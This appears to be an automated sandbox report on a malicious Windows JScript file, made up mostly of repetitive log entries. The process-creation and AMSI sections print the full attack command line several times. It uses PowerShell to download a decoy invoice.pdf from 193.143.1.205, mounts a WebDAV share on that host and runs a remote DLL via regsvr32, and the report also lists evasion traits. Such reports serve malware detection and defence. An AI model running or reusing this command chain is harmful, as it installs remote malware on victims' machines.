Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\370.js.csv");ITextStream.WriteLine(" entry:8318 f:vnrdyphjp");ITextStream.WriteLine(" exec:2 f:vnrdyphjp");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4582			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5282			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7128	Thread sleep count: 4582 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4040	Thread sleep count: 5282 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2924	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 796	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6712	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4076	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000003.1858049659.000001FAAA7D3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1864941931.000001FAAA768000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1865076519.000001FAAA7D3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3033468247.0000027BB6A54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000008.00000002.3032474423.0000027BB142B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW l

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\26323279126088.dll
